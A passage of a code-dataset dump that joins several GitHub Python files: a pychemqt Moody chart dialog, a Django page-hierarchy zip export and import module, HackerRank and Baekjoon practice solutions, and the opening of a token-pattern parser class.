self.plt.fig.canvas.mpl_connect('button_press_event', self.click)\n        layout.addWidget(self.plt, 2, 1, 1, 4)\n\n        btBox = QtWidgets.QDialogButtonBox(QtWidgets.QDialogButtonBox.Close)\n        butonPNG = QtWidgets.QPushButton(QtGui.QIcon(\n            os.path.join(IMAGE_PATH, \"button\", \"image.png\")),\n            QtWidgets.QApplication.translate(\"pychemqt\", \"Save as PNG\"))\n        butonPNG.clicked.connect(self.plt.savePNG)\n        butonConfig = QtWidgets.QPushButton(QtGui.QIcon(\n            os.path.join(IMAGE_PATH, \"button\", \"configure.png\")),\n            QtWidgets.QApplication.translate(\"pychemqt\", \"Configure\"))\n        butonConfig.clicked.connect(self.configure)\n        butonCalculate = QtWidgets.QPushButton(QtGui.QIcon(\n            os.path.join(IMAGE_PATH, \"button\", \"calculator.png\")),\n            QtWidgets.QApplication.translate(\"pychemqt\", \"Calculate point\"))\n        butonCalculate.clicked.connect(self.calculate)\n        btBox.rejected.connect(self.reject)\n        btBox.layout().insertWidget(0, butonPNG)\n        btBox.layout().insertWidget(0, butonCalculate)\n        btBox.layout().insertWidget(0, butonConfig)\n        layout.addWidget(btBox, 3, 1, 1, 4)\n\n        self.Preferences = ConfigParser()\n        self.Preferences.read(conf_dir+\"CheProcessrc\")\n        self.config()\n        self.plot()\n\n        logo = image.imread(os.path.join(IMAGE_PATH, \"pychemqt_98.png\"))\n        self.logo = self.plt.fig.figimage(logo, 0, 0, zorder=1, alpha=0.5)\n        self.showMaximized()\n\n    def configure(self):\n        dlg = self.configDialog(self.Preferences)\n        if dlg.exec_():\n            self.Preferences = dlg.value(self.Preferences)\n            self.Preferences.write(open(conf_dir+\"CheProcessrc\", \"w\"))\n            self.plot()\n\n    def config(self):\n        \"\"\"Initialization action in plot don't neccesary to update in plot\"\"\"\n        pass\n\n    def click(self, event):\n        \"\"\"Define functionality when the mouse click in plot\"\"\"\n        pass\n\n    def plot(self):\n        \"\"\"Plot procedure\"\"\"\n        pass\n\n    def calculate(self):\n        \"\"\"Define the functionality when click the calculate point button\"\"\"\n        pass\n\n    def resizeEvent(self, event):\n        \"\"\"Implement resizeEvent to recalculate the new position of image\"\"\"\n        self.refixImage()\n        QtWidgets.QDialog.resizeEvent(self, event)\n\n    def refixImage(self, event=None):\n        \"\"\"Recalculate image position as resize/move window\"\"\"\n        xmin, xmax = self.plt.ax.get_xlim()\n        ymin, ymax = self.plt.ax.get_ylim()\n        x, y = self.plt.ax.transData.transform_point(self.PosLogo)\n        hlogo, wlogo = self.logo.get_size()\n        if self.PosLogo[0] == 1:\n            x -= wlogo\n        if self.PosLogo[1] == 1:\n            y -= hlogo\n\n        self.logo.ox = x\n        self.logo.oy = y\n\n        self.plt.draw()\n\n\nclass Moody(Chart):\n    \"\"\"Moody chart dialog\"\"\"\n    title = QtWidgets.QApplication.translate(\"pychemqt\", \"Moody Diagram\")\n    configDialog = ConfigDialog\n    PosLogo = 5e3, 1.2e-2\n\n    def config(self):\n        \"\"\"Initialization action in plot don't neccesary to update in plot\"\"\"\n\n        txt = QtWidgets.QApplication.translate(\n            \"pychemqt\", \"Relative roughness\") + \", \"+r\"$r=\\frac{\\epsilon}{D}$\"\n        self.plt.fig.text(0.97, 0.5, txt, rotation=90, size='10',\n                          va=\"center\", ha=\"center\")\n        self.plt.fig.subplots_adjust(\n            left=0.1, right=0.9, bottom=0.12, top=0.98)\n        self.note = None\n\n    def click(self, event):\n        \"\"\"Update input and graph annotate when mouse click over chart\"\"\"\n        Re = event.xdata\n        f = event.ydata\n        ed = None\n        method = self.Preferences.getint(\"Moody\", \"method\")\n        fanning = self.Preferences.getboolean(\"Moody\", \"fanning\")\n        F = f_list[method]\n\n        if Re < 2400:\n            if fanning:\n                f = 16/Re\n            else:\n                f = 64/Re\n        else:\n            f_min = F(Re, 0)\n            if f < f_min:\n                Re = f = 0\n            else:\n                ed = eD(Re, f)\n\n        self.createCrux(Re, f, ed)\n\n    def _txt(self, Re, f, ed):\n        if ed is None:\n            txt = \"Re: %0.4g\\nf: %0.4g\" % (Re, f)\n        else:\n            txt = \"Re: %0.4g\\ne/D: %0.4g\\nf: %0.4g\" % (Re, ed, f)\n        return txt\n\n    def createCrux(self, Re, f, ed):\n        \"\"\"Create a crux in selected point of plot and show data at bottom\n        right corner\"\"\"\n        if f and Re:\n            txt = self._txt(Re, f, ed)\n\n        self.plt.lx.set_ydata(f)\n        self.plt.ly.set_xdata(Re)\n        if self.note:\n            self.note.remove()\n            self.note = None\n        if f and Re:\n            self.note = self.plt.fig.text(0.85, 0.08, txt, size=\"6\", va=\"top\")\n        self.plt.draw()\n\n    def plot(self):\n        \"\"\"Plot the Moody chart using the indicate method \"\"\"\n        fanning = self.Preferences.getboolean(\"Moody\", \"fanning\")\n        method = self.Preferences.getint(\"Moody\", \"method\")\n\n        if fanning:\n            x = 4\n        else:\n            x = 1\n\n        self.plt.ax.set_autoscale_on(False)\n        self.plt.ax.clear()\n\n        kw = formatLine(self.Preferences, \"Moody\", \"crux\")\n        self.plt.lx = self.plt.ax.axhline(**kw)  # the horiz line\n        self.plt.ly = self.plt.ax.axvline(**kw)  # the vert line\n\n        xlabel = QtWidgets.QApplication.translate(\n            \"pychemqt\", \"Reynolds number\") + \", \" + r\"$Re=\\frac{V\\rho D}{\\mu}$\"\n        self.plt.ax.set_xlabel(xlabel, ha='center', size='10')\n        if fanning:\n            ylabel = QtWidgets.QApplication.translate(\n                \"pychemqt\", \"Fanning Friction factor\")\n            formula = r\"$f_f=\\frac{2hDg}{LV^2}$\"\n        else:\n            ylabel = QtWidgets.QApplication.translate(\n                \"pychemqt\", \"Darcy Friction factor\")\n            formula = r\"$f_d=\\frac{2hDg}{LV^2}$\"\n        self.plt.ax.set_ylabel(ylabel+\",  \" + formula, size='10')\n        self.plt.ax.grid(True)\n        self.plt.ax.set_xlim(600, 1e8)\n        self.plt.ax.set_ylim(0.008/x, 0.11/x)\n        self.plt.ax.set_xscale(\"log\")\n        self.plt.ax.set_yscale(\"log\")\n\n        xticks = [7e2, 8e2, 9e2, 1e3, 2e3, 3e3, 4e3, 5e3, 6e3, 7e3, 8e3, 9e3,\n                  1e4, 2e4, 3e4, 4e4, 5e4, 6e4, 7e4, 8e4, 9e4, 1e5, 2e5, 3e5,\n                  4e5, 5e5, 6e5, 7e5, 8e5, 9e5, 1e6, 2e6, 3e6, 4e6, 5e6, 6e6,\n                  7e6, 8e6, 9e6, 1e7, 2e7, 3e7, 4e7, 5e7, 6e7, 7e7, 8e7, 9e7]\n        self.plt.ax.set_xticks(xticks, minor=False)\n        self.plt.ax.set_yticks([], minor=True)\n\n        if fanning:\n            yticks = [2e-3, 2.5e-3, 3e-3, 3.5e-3, 4e-3, 5e-3, 6e-3, 7e-3, 8e-3,\n                      9e-3, 1e-2, 1.1e-2, 1.2e-2, 1.3e-2, 1.4e-2, 1.5e-2,\n                      1.6e-2, 1.7e-2, 1.8e-2, 1.9e-2, 2e-2, 2.1e-2, 2.2e-2,\n                      2.3e-2, 2.4e-2, 2.5e-2]\n            ytickslabel = [2, 2.5, 3, 3.5, 4, 5, 6, 7, 8, 9, r\"$10^{-2}$\", \"\",\n                           1.2, \"\", 1.4, \"\", 1.6, \"\", 1.8, \"\", 2, \"\", \"\", \"\",\n                           \"\", 2.5]\n        else:\n            yticks = [9e-3, 1e-2, 1.1e-2, 1.2e-2, 1.3e-2, 1.4e-2, 1.5e-2,\n                      1.6e-2, 1.7e-2, 1.8e-2, 1.9e-2, 2e-2, 2.1e-2, 2.2e-2,\n                      2.3e-2, 2.4e-2, 2.5e-2, 2.6e-2, 2.7e-2, 2.8e-2, 2.9e-2,\n                      3e-2, 3.2e-2, 3.4e-2, 3.6e-2, 3.8e-2, 4e-2, 4.2e-2,\n                      4.4e-2, 4.6e-2, 4.8e-2, 5e-2, 5.2e-2, 5.4e-2, 5.6e-2,\n                      5.8e-2, 6e-2, 6.2e-2, 6.4e-2, 6.6e-2, 6.8e-2, 7e-2,\n                      7.5e-2, 8e-2, 8.5e-2, 9e-2, 9.5e-2, 1e-1]\n            ytickslabel = [9, r\"$10^{-2}$\", \"\", 1.2, \"\", 1.4, \"\", 1.6, \"\", 1.8,\n                           \"\", 2, \"\", \"\", \"\", \"\", 2.5, \"\", \"\", \"\", \"\", 3, \"\",\n                           \"\", \"\", \"\", 4, \"\", \"\", \"\", \"\", 5, \"\", \"\", \"\", \"\", 6,\n                           \"\", \"\", \"\", \"\", 7, \"\", 8, \"\", 9, \"\", r\"$10^{-1}$\"]\n        self.plt.ax.set_yticks(yticks)\n        self.plt.ax.set_yticklabels(ytickslabel)\n\n        if not os.path.isfile(conf_dir+\"moody.dat\"):\n            calculate(self.Preferences)\n\n        load = False\n        with open(conf_dir+\"moody.dat\", \"r\") as file:\n            try:\n                dat = json.load(file)\n            except ValueError:\n                calculate(self.Preferences)\n                load = True\n\n            if dat[\"fanning\"] != fanning or dat[\"method\"] != method:\n                calculate(self.Preferences)\n                load = True\n\n        # Reload file if it's created in last with statement\n        if load:\n            with open(conf_dir+\"moody.dat\", \"r\") as file:\n                dat = json.load(file)\n\n        # Plot data\n        kw = formatLine(self.Preferences, \"Moody\", \"line\")\n        self.plt.ax.plot(Re_laminar, dat[\"laminar\"], **kw)\n        for ed, f in dat[\"turbulent\"].items():\n            self.plt.ax.plot(Re_turbulent, f, **kw)\n            title = \" \" + representacion(ed, tol=4.5)\n            if f[-1] > 0.008/x:\n                self.plt.ax.text(1e8, f[-1], title, size=\"x-small\",\n                                 ha='left', va='center')\n\n        self.plt.ax.plot(Re_fully, dat[\"fully\"], \"k\", lw=0.5, ls=\":\")\n\n        # Add explicative legend\n        # Laminar zone\n        self.plt.ax.add_artist(\n            ConnectionPatch((600, 0.01/x), (2400, 0.01/x), \"data\", \"data\",\n                            arrowstyle=\"<|-|>\", mutation_scale=15, fc=\"w\"))\n        txt = QtWidgets.QApplication.translate(\"pychemqt\", \"Laminar flux\")\n        self.plt.ax.text(1200, 0.0095/x, txt, size=\"small\", va=\"top\",\n                         ha=\"center\", backgroundcolor=\"#ffffff\")\n\n        # Critic zone\n        self.plt.ax.add_artist(\n            ConnectionPatch((2400, 0.01/x), (4000, 0.01/x), \"data\", \"data\",\n                            arrowstyle=\"<|-|>\", mutation_scale=15, fc=\"w\"))\n        txt = QtWidgets.QApplication.translate(\"pychemqt\", \"Critic\\nzone\")\n        self.plt.ax.text(3200, 0.0095/x, txt, size=\"small\", va=\"top\",\n                         ha=\"center\", backgroundcolor=\"#ffffff\")\n\n        # Transition zone\n        self.plt.ax.add_artist(\n            ConnectionPatch((4000, 0.095/x), (40000, 0.095/x), \"data\", \"data\",\n                            arrowstyle=\"<|-|>\", mutation_scale=15, fc=\"w\"))\n        txt = QtWidgets.QApplication.translate(\"pychemqt\", \"Transition Zone\")\n        self.plt.ax.text(11000, 0.098/x, txt, size=\"small\", va=\"bottom\",\n                         ha=\"center\", backgroundcolor=\"#ffffff\")\n\n        # Turbulent zone\n        self.plt.ax.add_artist(\n            ConnectionPatch((40000, 0.095/x), (9.9e7, 0.095/x), \"data\", \"data\",\n                            arrowstyle=\"<|-|>\", mutation_scale=15, fc=\"w\"))\n        txt = QtWidgets.QApplication.translate(\n            \"pychemqt\", \"Turbulent flux fully developed\")\n        self.plt.ax.text(1e6, 0.098/x, txt, size=\"small\", va=\"bottom\",\n                         ha=\"center\", backgroundcolor=\"#ffffff\")\n\n        # Smooth tubes\n        self.plt.ax.add_artist(\n            ConnectionPatch((1e6, 0.0095/x), (1.5e6, 0.011/x), \"data\", \"data\",\n                            arrowstyle=\"<|-|>\", mutation_scale=15, fc=\"w\"))\n        txt = QtWidgets.QApplication.translate(\"pychemqt\", \"Smooth tubes\")\n        self.plt.ax.text(1e6, 0.009/x, txt, size=\"small\", va=\"top\",\n                         ha=\"center\", backgroundcolor=\"#ffffff\")\n\n        # Laminar equation\n        if fanning:\n            txt = r\"$f=\\frac{16}{Re}$\"\n        else:\n            txt = r\"$f=\\frac{64}{Re}$\"\n        self.plt.ax.text(1.4e3, 0.042/x, txt, size=\"12\",\n                         va=\"top\", ha=\"center\", rotation=-66)\n        # TODO: Calculate the angle dynamically\n\n        self.plt.draw()\n\n    def calculate(self):\n        dlg = CalculateDialog()\n        if dlg.exec_():\n            Re = dlg.Re.value\n            f = dlg.f.value\n            eD = dlg.eD.value\n            self.createCrux(Re, f, eD)\n\n\nclass CalculateDialog(QtWidgets.QDialog):\n    \"\"\"Dialog to calculate a specified point\"\"\"\n\n    def __init__(self, parent=None):\n        super(CalculateDialog, self).__init__(parent)\n        title = QtWidgets.QApplication.translate(\n            \"pychemqt\", \"Calculate friction factor\")\n        self.setWindowTitle(title)\n        layout = QtWidgets.QGridLayout(self)\n        label = QtWidgets.QLabel(\n            QtWidgets.QApplication.translate(\"pychemqt\", \"Method:\"))\n        layout.addWidget(label, 1, 0)\n        self.metodos = QtWidgets.QComboBox()\n        for f in f_list:\n            line = f.__doc__.split(\"\\n\")[1]\n            year = line.split(\" \")[-1]\n            name = line.split(\" \")[-3]\n            doc = name + \" \" + year\n            self.metodos.addItem(doc)\n        self.metodos.currentIndexChanged.connect(self.calculate)\n        layout.addWidget(self.metodos, 1, 1, 1, 2)\n        self.fanning = QtWidgets.QCheckBox(QtWidgets.QApplication.translate(\n            \"pychemqt\", \"Calculate fanning friction factor\"))\n        self.fanning.toggled.connect(self.calculate)\n        layout.addWidget(self.fanning, 2, 0, 1, 3)\n\n        layout.addWidget(QtWidgets.QLabel(\"Re\"), 3, 1)\n        self.Re = Entrada_con_unidades(float, tolerancia=4)\n        self.Re.valueChanged.connect(self.calculate)\n        layout.addWidget(self.Re, 3, 2)\n        layout.addWidget(QtWidgets.QLabel(\"e/D\"), 4, 1)\n        self.eD = Entrada_con_unidades(float)\n        self.eD.valueChanged.connect(self.calculate)\n        layout.addWidget(self.eD, 4, 2)\n        layout.addWidget(QtWidgets.QLabel(\"f\"), 5, 1)\n        self.f = Entrada_con_unidades(float, readOnly=True, decimales=8)\n        layout.addWidget(self.f, 5, 2)\n\n        self.buttonBox = QtWidgets.QDialogButtonBox(\n            QtWidgets.QDialogButtonBox.Ok | QtWidgets.QDialogButtonBox.Close)\n        self.buttonBox.accepted.connect(self.accept)\n        self.buttonBox.rejected.connect(self.reject)\n        layout.addWidget(self.buttonBox, 10, 1, 1, 2)\n\n    def calculate(self, value):\n        index = self.metodos.currentIndex()\n        F = f_list[index]\n        Re = self.Re.value\n        eD = self.eD.value\n        if Re and eD is not None:\n            f = F(Re, eD)\n            if self.fanning.isChecked():\n                f /= 4\n            self.f.setValue(f)\n\n\nif __name__ == \"__main__\":\n    import sys\n    app = QtWidgets.QApplication(sys.argv)\n    Dialog = Moody()\n    Dialog.show()\n    sys.exit(app.exec_())\n","repo_name":"AhmadAlsaadi/CheProcess","sub_path":"plots/moody.py","file_name":"moody.py","file_ext":"py","file_size_in_byte":15965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"44092329156","text":"import cgi\nimport codecs\nfrom django.core.files import File\nfrom xml.etree import ElementTree as etree\nfrom pageblocks.models import TextBlock, HTMLBlock, PullQuoteBlock\nfrom pageblocks.models import ImageBlock, ImagePullQuoteBlock\nfrom diabeaters.quiz.models import Quiz, Question, Answer\nfrom pagetree.models import PageBlock\nimport os\nimport tempfile\nfrom zipfile import ZipFile\nfrom pagetree.helpers import get_hierarchy\n\n\ndef asbool(str):\n    return str.lower() == \"true\"\n\n\ndef sanitize(label):\n    return cgi.escape(label, True)\n\n\ndef get_all_pageblocks(hierarchy):\n    return PageBlock.objects.filter(section__hierarchy=hierarchy)\n\n\ndef text_exporter(block, xmlfile, zipfile):\n    filename = \"pageblocks/%s.txt\" % block.pageblock().pk\n    zipfile.writestr(filename, block.body.encode(\"utf8\"))\n    print >> xmlfile, \"\"\"<text src=\"%s\" />\"\"\" % filename\n\n\ndef html_exporter(block, xmlfile, zipfile):\n    filename = \"pageblocks/%s.html\" % block.pageblock().pk\n    zipfile.writestr(filename, block.html.encode(\"utf8\"))\n    print >> xmlfile, \"\"\"<html src=\"%s\" />\"\"\" % filename\n\n\ndef image_exporter(block, xmlfile, zipfile):\n    filename = os.path.basename(block.image.file.name)\n    filename = \"pageblocks/%s-%s\" % (block.pk, filename)\n    zipfile.write(block.image.file.name, arcname=filename)\n    print >> xmlfile, \\\n        u\"\"\"<img src=\"%s\" caption=\"%s\" />\"\"\" % (\n            filename, block.caption)\n\n\ndef quiz_exporter(block, xmlfile, zipfile):\n    filename = \"pageblocks/%s-description.txt\" % block.pageblock().pk\n    zipfile.writestr(filename, block.description.encode(\"utf8\"))\n    print >> xmlfile, u\"\"\"<quiz rhetorical=\"%s\" description_src=\"%s\">\"\"\" % (\n        block.rhetorical, filename)\n    for question in block.question_set.all():\n        print >> xmlfile, u\"\"\"<question type=\"%s\" ordinality=\"%s\">\"\"\" % (\n            question.question_type, question.ordinality)\n        filename = \"pageblocks/%s-%s-text.txt\" % (block.pageblock().pk,\n                                                  question.pk)\n        zipfile.writestr(filename, question.text.encode(\"utf8\"))\n        print >> xmlfile, u\"<text src='%s' />\" % filename\n\n        filename = \"pageblocks/%s-%s-explanation.txt\" % (block.pageblock().pk,\n                                                         question.pk)\n        zipfile.writestr(filename, question.explanation.encode(\"utf8\"))\n        print >> xmlfile, u\"<explanation src='%s' />\" % filename\n\n        filename = \"pageblocks/%s-%s-introtext.txt\" % (block.pageblock().pk,\n                                                       question.pk)\n        zipfile.writestr(filename, question.intro_text.encode(\"utf8\"))\n        print >> xmlfile, u\"<introtext src='%s' />\" % filename\n\n        for answer in question.answer_set.all():\n            print >> xmlfile, (\n                u\"\"\"<answer label=\"%s\" value=\"%s\" \"\"\"\n                u\"\"\"ordinality=\"%s\" correct=\"%s\" />\"\"\" % (\n                    sanitize(answer.label),\n                    answer.value, answer.ordinality, answer.correct))\n\n        print >> xmlfile, \"</question>\"\n    print >> xmlfile, \"</quiz>\"\n\n\npageblock_exporters = {\n    TextBlock: ('text', text_exporter),\n    HTMLBlock: ('html', html_exporter),\n    PullQuoteBlock: ('pullquote', text_exporter),\n    ImageBlock: ('image', image_exporter),\n    ImagePullQuoteBlock: ('imagepullquote', image_exporter),\n    Quiz: ('quiz', quiz_exporter),\n}\n\n\ndef export_block(block, xmlfile, zipfile):\n    object = block.content_object\n    type, export_fn = pageblock_exporters[object.__class__]\n    print >> xmlfile, \\\n        u\"\"\"<pageblock id=\"%s\" type=\"%s\" label=\"%s\" ordinality=\"%s\">\"\"\" % (\n            block.pk, type, sanitize(block.label), block.ordinality)\n    export_fn(object, xmlfile, zipfile)\n    print >> xmlfile, \"</pageblock>\"\n\n\ndef export_node(node, xmlfile, zipfile):\n    print >> xmlfile, \\\n        u\"\"\"<section slug=\"%s\" label=\"%s\" is_root=\"%s\">\"\"\" % (\n            node.slug, sanitize(node.label), node.is_root)\n    for block in node.pageblock_set.all():\n        export_block(block, xmlfile, zipfile)\n    for child in node.get_children():\n        export_node(child, xmlfile, zipfile)\n    print >> xmlfile, \"</section>\"\n\n\ndef export_zip(hierarchy):\n    root = hierarchy.get_root()\n\n    fd, zip_filename = tempfile.mkstemp(prefix=\"pagetree-export\",\n                                        suffix=\".zip\")\n    zipfile = ZipFile(zip_filename, 'w')\n    zipfile.writestr(\"version.txt\", \"1\")\n\n    fd, xml_filename = tempfile.mkstemp(prefix=\"pagetree-site\", suffix=\".xml\")\n    xmlfile = codecs.open(xml_filename, 'w', encoding='utf8')\n\n    print >> xmlfile, \\\n        u\"\"\"<hierarchy name=\"%s\" base_url=\"%s\">\"\"\" % (\n            hierarchy.name, hierarchy.base_url)\n\n    export_node(root, xmlfile, zipfile)\n    print >> xmlfile, \"</hierarchy>\"\n\n    xmlfile.close()\n    zipfile.write(xml_filename, arcname=\"site.xml\")\n    os.unlink(xml_filename)\n\n    zipfile.close()\n    return zip_filename\n\n\ndef text_importer(node, zipfile):\n    children = node.getchildren()\n    assert len(children) == 1 and children[0].tag == \"text\"\n    path = children[0].get(\"src\")\n    body = zipfile.read(path)\n    b = TextBlock(body=body)\n    b.save()\n    return b\n\n\ndef html_importer(node, zipfile):\n    children = node.getchildren()\n    assert len(children) == 1 and children[0].tag == \"html\"\n    path = children[0].get(\"src\")\n    body = zipfile.read(path)\n    b = HTMLBlock(html=body)\n    b.save()\n    return b\n\n\ndef pullquote_importer(node, zipfile):\n    children = node.getchildren()\n    assert len(children) == 1 and children[0].tag == \"text\"\n    path = children[0].get(\"src\")\n    body = zipfile.read(path)\n    b = PullQuoteBlock(body=body)\n    b.save()\n    return b\n\n\ndef image_importer(node, zipfile):\n    children = node.getchildren()\n    assert len(children) == 1 and children[0].tag == \"img\"\n    path = children[0].get(\"src\")\n    caption = children[0].get(\"caption\")\n    file = zipfile.open(path)\n    file.size = zipfile.getinfo(path).file_size\n    b = ImageBlock(caption=caption, image='')\n    b.save_image(File(file))\n    b.save()\n    return b\n\n\ndef imagepullquote_importer(node, zipfile):\n    children = node.getchildren()\n    assert len(children) == 1 and children[0].tag == \"img\"\n    path = children[0].get(\"src\")\n    caption = children[0].get(\"caption\")\n    file = zipfile.open(path)\n    file.size = zipfile.getinfo(path).file_size\n    b = ImagePullQuoteBlock(caption=caption, image='')\n    b.save_image(File(file))\n    b.save()\n    return b\n\n\ndef quiz_importer(node, zipfile):\n    children = node.getchildren()\n    assert len(children) == 1 and children[0].tag == \"quiz\"\n    rhetorical = asbool(children[0].get(\"rhetorical\"))\n    path = children[0].get(\"description_src\")\n    description = zipfile.read(path)\n    q = Quiz(rhetorical=rhetorical, description=description)\n    q.save()\n    for child in children[0].getchildren():\n        assert child.tag == \"question\"\n        type = child.get(\"type\")\n        ordinality = child.get(\"ordinality\")\n\n        (text, explanation, introtext, answers) = (child.getchildren()[:3] +\n                                                   [child.getchildren()[3:]])\n        path = text.get(\"src\")\n        text = zipfile.read(path)\n        path = explanation.get(\"src\")\n        explanation = zipfile.read(path)\n        path = introtext.get(\"src\")\n        introtext = zipfile.read(path)\n        question = Question(quiz=q, text=text, question_type=type,\n                            ordinality=ordinality, explanation=explanation,\n                            intro_text=introtext)\n        question.save()\n        for answer in answers:\n            label = answer.get(\"label\")\n            value = answer.get(\"value\")\n            ordinality = answer.get(\"ordinality\")\n            correct = asbool(answer.get(\"correct\"))\n            answer = Answer(question=question, ordinality=ordinality,\n                            value=value, label=label, correct=correct)\n            answer.save()\n    return q\n\n\npageblock_importers = {\n    'text': text_importer,\n    'html': html_importer,\n    'pullquote': pullquote_importer,\n    'image': image_importer,\n    'imagepullquote': imagepullquote_importer,\n    'quiz': quiz_importer,\n}\n\n\ndef import_pageblock(hierarchy, section, pageblock, zipfile):\n    type = pageblock.get(\"type\")\n    label = pageblock.get(\"label\")\n    ordinality = pageblock.get(\"ordinality\")\n\n    block = pageblock_importers[type](pageblock, zipfile)\n    pb = PageBlock(section=section, ordinality=ordinality, label=label,\n                   content_object=block)\n    pb.save()\n    return pb\n\n\ndef import_node(hierarchy, section, zipfile, parent=None):\n    slug = section.get(\"slug\")\n    label = section.get(\"label\")\n    is_root = asbool(section.get(\"is_root\"))\n    assert (parent and not is_root) or (is_root and not parent)\n\n    if parent is None:\n        s = hierarchy.get_root()\n        s.slug = slug\n        s.label = label\n        s.save()\n    else:\n        s = parent.append_child(label, slug)\n        s.save()\n\n    for child in section.getchildren():\n        if child.tag == \"pageblock\":\n            import_pageblock(hierarchy, s, child, zipfile)\n        elif child.tag == \"section\":\n            import_node(hierarchy, child, zipfile, parent=s)\n        else:\n            raise TypeError(\"Badly formatted import file\")\n\n    return s\n\n\ndef import_zip(zipfile):\n    if 'site.xml' not in zipfile.namelist():\n        raise TypeError(\"Badly formatted import file\")\n    if 'version.txt' not in zipfile.namelist():\n        raise TypeError(\"Badly formatted import file\")\n    if zipfile.read(\"version.txt\") != \"1\":\n        raise TypeError(\"Badly formatted import file\")\n    structure = zipfile.read(\"site.xml\")\n    structure = etree.fromstring(structure)\n\n    name = structure.get(\"name\")\n    base_url = structure.get(\"base_url\")\n\n    hierarchy = get_hierarchy(name=name)\n    hierarchy.base_url = base_url\n    hierarchy.save()\n\n    for section in structure.getchildren():\n        import_node(hierarchy, section, zipfile)\n\n    return hierarchy\n","repo_name":"ccnmtl/diabeaters","sub_path":"diabeaters/main/exportimport.py","file_name":"exportimport.py","file_ext":"py","file_size_in_byte":9999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"70745057744","text":"#!/usr/bin/python3\n\n# Non-Divisible Subset Hackerrank\n\n# Given a set of distinct integers, print the size of a maximal subset of S \n# where the sum of any 2 numbers in S' is not evenly divisible by k.\n\n# Example\n# S = [19, 10, 12, 10, 24, 25, 22]; k = 4\n# One of the arrays that can be created is S'[0] = [10, 12, 25]. \n# Another is S'[1] = [19, 22, 24]. After testing all permutations, the maximum length solution array has 3 elements.\n\n# Pseudo Code\n# for each element in arr\n# found subset's meets criteria \n# Create a list of lengths append length of every subset to list \n# return max of lenghts list\n\ndef nonDivisibleSubset(k, s):\n    subset_len = []\n    for elem1 in s:\n        subset = []\n        for elem2 in s:\n            if (elem1 + elem2) % k == 0:\n                subset.append(elem2)\n        subset.append(elem1)\n        subset_len.append(len(subset))\n    return max(subset_len)\n\n\ndef nonDivisibleSubset(k, s):\n    subset01, subset02 = [], []\n    for elem in s:\n        if (elem % k) <= (k // 2):\n            subset01.append(elem)\n        else:\n            subset02.append(elem)\n    return max(len(subset01), len(subset02))\n\n\n# This attempts did not worked\n\n# PseudoCode\n# 1. Create an array to store the remainder count for each number\n# 2. Initialize the max subset size\n# 3. If there is a remaninder of 0, we can include only one number\n# 4. If k is even, we can add only one number with remainder k/2\n# 5. Add max of remainder counts for each i and k-i pairs\n\ndef nonDivisibleSubset(k, s):\n    remainder_arr = [0] * k\n\n    for num in s:\n        remainder_arr[num%k] += 1\n    \n    max_subset_size = 0\n\n    if remainder_arr[0] > 0:\n        max_subset_size += 1\n    \n    if k%2 == 0 and remainder_arr[k//2] > 0:\n        max_subset_size += 1\n    \n    for i in range(1, (k+1)//2):\n        max_subset_size += max(remainder_arr[i], remainder_arr[k-i])\n    \n    return max_subset_size\n\n\ns = [1, 7, 2, 4]\nk = 3\n\nprint(nonDivisibleSubset(k, s))\n\ns = [278, 576, 496, 727, 410, 124, 338, 149, 209, 702, 282, 718, 771, 575, 436]\nk = 7\n\nprint(nonDivisibleSubset(k, s))\n","repo_name":"BerkAkipek/coding-problems","sub_path":"non-divisible-subset-hackerrank.py","file_name":"non-divisible-subset-hackerrank.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"41415851786","text":"# 문제\n# 크기가 N인 수열 A = A1, A2, ..., AN이 있다. 수열의 각 원소 Ai에 대해서 오큰수 NGE(i)를 구하려고 한다. Ai의 오큰수는 오른쪽에 있으면서 Ai보다 큰 수 중에서 가장 왼쪽에 있는 수를 의미한다. \n# 그러한 수가 없는 경우에 오큰수는 -1이다.\n\n# 예를 들어, A = [3, 5, 2, 7]인 경우 NGE(1) = 5, NGE(2) = 7, NGE(3) = 7, NGE(4) = -1이다. A = [9, 5, 4, 8]인 경우에는 NGE(1) = -1, NGE(2) = 8, NGE(3) = 8, NGE(4) = -1이다.\n\n# 입력\n# 첫째 줄에 수열 A의 크기 N (1 ≤ N ≤ 1,000,000)이 주어진다. 둘째 줄에 수열 A의 원소 A1, A2, ..., AN (1 ≤ Ai ≤ 1,000,000)이 주어진다.\n\n# 출력\n# 총 N개의 수 NGE(1), NGE(2), ..., NGE(N)을 공백으로 구분해 출력한다.\n\n# 예제 입력 1 \n# 4\n# 3 5 2 7\n\n# 예제 출력 1 \n# 5 7 7 -1\n\n# 예제 입력 2 \n# 4\n# 9 5 4 8\n\n# 예제 출력 2 \n# -1 8 8 -1\n\n\n# 다른 사람의 코드\nimport sys\nn = int(input())\nA = list(map(int, sys.stdin.readline().split()))\nanswer = [-1] * n\nstack = []\n\n\nstack.append(0)\nfor i in range(1, n):\n    while stack and A[stack[-1]] < A[i]:\n        answer[stack.pop()] = A[i]\n    stack.append(i)\n\n\nprint(*answer)\n\n\n\n\n\n  \n    ","repo_name":"b-jisoo/baekjoon","sub_path":"알고리즘 기초1/17298번 오큰수.py","file_name":"17298번 오큰수.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"845887877","text":"\n\nfrom jk_testing import Assert\nimport typing\n\nfrom ..TokenStream import TokenStream\nfrom ._Triplet import _Triplet\nfrom .AbstractTokenPattern import AbstractTokenPattern\n\n\n\nclass TPOptional(AbstractTokenPattern):\n\n\tdef __init__(self, tp:AbstractTokenPattern, emitName:str = None, emitValue = None):\n\t\tAssert.isInstance(tp, AbstractTokenPattern)\n\t\tif emitName is not None:\n\t\t\tAssert.isInstance(emitName, str)\n\t\tself.__tp = tp\n\t\tself.emitName = emitName\n\t\tself.emitValue = emitValue\n\t#\n\n\tdef doMatch(self, ts:TokenStream):\n\t\tassert isinstance(ts, TokenStream)\n\n\t\tm, mD = self.__tp.doMatch(ts)\n\t\tif m:\n\t\t\tif self.emitName:\n\t\t\t\treturn True, _Triplet(self.emitName, self.emitValue, mD)\n\t\t\telse:\t# optimization\n\t\t\t\treturn True, mD\n\t\telse:\n\t\t\treturn True, _Triplet(None, None, 